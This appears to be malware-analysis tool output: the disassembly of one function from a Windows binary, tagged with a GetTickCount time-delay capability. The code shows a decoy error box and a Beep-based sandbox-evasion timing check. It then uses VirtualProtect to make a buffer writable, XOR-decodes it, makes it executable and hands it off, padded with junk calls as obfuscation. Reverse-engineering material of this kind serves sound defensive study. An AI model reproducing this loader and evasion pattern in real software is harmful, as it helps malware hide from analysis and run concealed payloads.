Function at 0x1400105c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xc8
xor r9d, r9d
lea r8, str.ERROR______
lea rdx, str.error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x38], eax
mov edx, 0x38dc0
mov ecx, 0x516644
call fcn.140010eb0
mov edx, 0x51bd8f
mov ecx, 0x41f7a6
call fcn.140010eb0
mov edx, 0x1388
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x6b8ddf
mov ecx, 0x3465d1
call fcn.140010eb0
mov edx, 0x5c8af
mov ecx, 0x3f9aa4
call fcn.140010eb0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x3c], eax
mov edx, 0x3100cb
mov ecx, 0x803aca
call fcn.140010eb0
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
sub ecx, eax
mov eax, ecx
cmp eax, 0x1388
jae 0x140010690
mov edx, 0x7dbad4
mov ecx, 0x964166
call fcn.140010eb0
xor ecx, ecx
call fcn.140004610
xor eax, eax
jmp 0x140010c3e
call fcn.140010d00
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x58], rax
mov edx, 0x5c13
mov ecx, 0x519340
call fcn.140010eb0
xor eax, 0x2028
mov dword [rsp + 0x68], eax
mov edx, 0x6b88c
mov ecx, 0x397155
call fcn.140010eb0
xor eax, 0x57c383
mov dword [rsp + 0x6c], eax
mov edx, 0x952135
mov ecx, 0x133932
call fcn.140010eb0
mov edx, 0xd156
mov ecx, 0x7a771c
call fcn.140010eb0
mov edx, 0x85ead5
mov ecx, 0x97502
call fcn.140010eb0
mov edx, 0x2bea5f
mov ecx, 0x5117b9
call fcn.140010eb0
mov edx, 0x471d62
mov ecx, 0x6f0b6e
call fcn.140010eb0
mov edx, 0x1556da
mov ecx, 0x3fb25c
call fcn.140010eb0
mov edx, 0x45b8f4
mov ecx, 0x892c05
call fcn.140010eb0
mov edx, 0x9cfd1
mov ecx, 0x7ac1d4
call fcn.140010eb0
mov edx, 0x1ff5dc
mov ecx, 0x4ae5fd
call fcn.140010eb0
mov edx, 0x19e56d
mov ecx, 0x17eb03
call fcn.140010eb0
mov edx, 0x32f31b
mov ecx, 0x2ab8c6
call fcn.140010eb0
mov edx, 0x463
mov ecx, 0x64
call fcn.140010eb0
mov edx, 0xfffff
mov ecx, 0xc8
call fcn.140010eb0
mov edx, 0x2ec448
mov ecx, 0x144eb2
call fcn.140010eb0
xor eax, 0x4e905f
mov dword [rsp + 0x70], eax
mov edx, 0x8d36c1
mov ecx, 0x84c6a4
call fcn.140010eb0
xor eax, 0x70d37a
mov dword [rsp + 0x74], eax
mov edx, 0x826a5f
mov ecx, 0x970fc7
call fcn.140010eb0
xor eax, 0x12b5b5
mov dword [rsp + 0x78], eax
mov edx, 0x5cb0e1
mov ecx, 0x36c7aa
call fcn.140010eb0
xor eax, 0x1769aa
mov dword [rsp + 0x7c], eax
mov edx, 0x38dbce
mov ecx, 0x97ab88
call fcn.140010eb0
mov edx, 0x334ac1
mov ecx, 0x33bfc2
call fcn.140010eb0
mov edx, 0x2863b6
mov ecx, 0x768cbb
call fcn.140010eb0
mov edx, 0x2ed004
mov ecx, 0x610707
call fcn.140010eb0
mov edx, 0x957f5c
mov ecx, 0x7fac1d
call fcn.140010eb0
mov edx, 0x80875b
mov ecx, 0x6b62b2
call fcn.140010eb0
mov edx, 0x14e3fa
mov ecx, 0x70c204
call fcn.140010eb0
mov edx, 0x3270f5
mov ecx, 0x70e23a
call fcn.140010eb0
xor eax, 0x65d90b
mov dword [rsp + 0x80], eax
mov edx, 0x144f17
mov ecx, 0x16f8ff
call fcn.140010eb0
xor eax, 0x5a98d8
mov dword [rsp + 0x84], eax
mov edx, 0x1657f9
mov ecx, 0x31bcc9
call fcn.140010eb0
xor eax, 0x28a4ee
mov dword [rsp + 0x88], eax
mov edx, 0x4657e8
mov ecx, 0x583b1f
call fcn.140010eb0
xor eax, 0x1b0f45
mov dword [rsp + 0x8c], eax
mov edx, 0x865def
mov ecx, 0x44d127
call fcn.140010eb0
xor eax, 0x832682
mov dword [rsp + 0x90], eax
mov edx, 0x649630
mov ecx, 0x4d1572
call fcn.140010eb0
xor eax, 0x473567
mov dword [rsp + 0x94], eax
mov edx, 0x41f36b
mov ecx, 0x235abc
call fcn.140010eb0
xor eax, 0x3cbd6b
mov dword [rsp + 0x98], eax
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x20]
mov ecx, 0x8a
call fcn.140010c50
mov qword [rsp + 0x50], rax
cmp dword [rsp + 0x20], 0
jne 0x140010944
xor ecx, ecx
call fcn.140004610
mov edx, 0x585882
mov ecx, 0x79e806
call fcn.140010eb0
mov edx, 0xd474a
mov ecx, 0x8cc4fe
call fcn.140010eb0
mov edx, 0x1467b3
mov ecx, 0x447f94
call fcn.140010eb0
mov edx, 0x89cf69
mov ecx, 0x49372c
call fcn.140010eb0
mov edx, 0x7a2e3b
mov ecx, 0x3b947
call fcn.140010eb0
mov edx, 0x48238e
mov ecx, 0x58aa25
call fcn.140010eb0
mov edx, 0x935e57
mov ecx, 0x6c5526
call fcn.140010eb0
mov edx, 0x948872
mov ecx, 0x76dfb1
call fcn.140010eb0
mov edx, 0x7dfb16
mov ecx, 0x8e9e6e
call fcn.140010eb0
mov edx, 0x630e31
mov ecx, 0x44749
call fcn.140010eb0
mov edx, 0x11e04e
mov ecx, 0x475fd9
call fcn.140010eb0
mov edx, 0x94c04b
mov ecx, 0x6e4f43
call fcn.140010eb0
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
call qword [fcn.1400018d0]
lea r9, [rsp + 0x40]
mov r8d, 4
mov rax, qword [rsp + 0xb0]
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov edx, 0x585882
mov ecx, 0x79e806
call fcn.140010eb0
mov edx, 0xd474a
mov ecx, 0x8cc4fe
call fcn.140010eb0
mov edx, 0x1467b3
mov ecx, 0x447f94
call fcn.140010eb0
mov edx, 0x89cf69
mov ecx, 0x49372c
call fcn.140010eb0
mov edx, 0x7a2e3b
mov ecx, 0x3b947
call fcn.140010eb0
mov edx, 0x48238e
mov ecx, 0x58aa25
call fcn.140010eb0
mov edx, 0x935e57
mov ecx, 0x6c5526
call fcn.140010eb0
mov edx, 0x948872
mov ecx, 0x76dfb1
call fcn.140010eb0
mov edx, 0x7dfb16
mov ecx, 0x8e9e6e
call fcn.140010eb0
mov edx, 0x630e31
mov ecx, 0x44749
call fcn.140010eb0
mov edx, 0x11e04e
mov ecx, 0x475fd9
call fcn.140010eb0
mov edx, 0x94c04b
mov ecx, 0x6e4f43
call fcn.140010eb0
mov qword [rsp + 0x28], 0
jmp 0x140010b0f
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
movsxd rax, dword [rsp + 0x20]
cmp qword [rsp + 0x28], rax
jae 0x140010b6c
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
xor eax, 0x34
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
neg eax
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x140010b02
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0x60]
call qword [fcn.1400018d0]
lea r9, [rsp + 0x40]
mov r8d, 0x10
mov rax, qword [rsp + 0xb8]
mov rdx, rax
mov rcx, qword [rsp + 0x30]
call qword [rsp + 0x60]
mov edx, 0x152780
mov ecx, 0x580251
call fcn.140010eb0
xor eax, 0x75b21d
mov dword [rsp + 0x9c], eax
mov edx, 0x40dc2d
mov ecx, 0x5f1873
call fcn.140010eb0
xor eax, 0x2a3112
mov dword [rsp + 0xa0], eax
mov edx, 0x898a91
mov ecx, 0x49c10c
call fcn.140010eb0
xor eax, 0xa816a
mov dword [rsp + 0xa4], eax
mov edx, 0x676153
mov ecx, 0x79f24b
call fcn.140010eb0
xor eax, 0x39a1a9
mov dword [rsp + 0xa8], eax
mov edx, 0x67fc75
mov ecx, 0x40a3de
call fcn.140010eb0
xor eax, 0x442cbb
mov dword [rsp + 0xac], eax
mov rcx, qword [rsp + 0x30]
call fcn.140010e50
add rsp, 0xc8
ret